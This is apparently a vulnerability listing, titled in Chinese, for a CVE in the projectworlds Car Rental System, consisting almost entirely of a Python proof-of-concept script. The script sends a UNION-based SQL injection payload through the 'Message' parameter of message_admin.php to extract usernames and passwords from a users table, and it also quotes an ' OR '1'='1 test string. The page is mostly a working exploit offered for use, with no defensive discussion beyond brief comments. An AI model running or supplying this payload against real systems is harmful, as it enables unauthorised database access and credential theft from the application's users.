CVE-2026-5637: projectworlds Car Rental System SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-host/message_admin.php" # Malicious payload demonstrating SQL Injection in 'Message' parameter # Example payload to test for vulnerability: ' OR '1'='1 payload = { "Message": "1' UNION SELECT NULL, username, password FROM users-- -" } try: response = requests.post(target_url, data=payload) # Check if the response indicates a successful SQL injection if response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected!") print("[+] Response length:", len(response.text)) else: print("[-] Request failed or payload incorrect.") except Exception as e: print(f"[!] Error: {e}")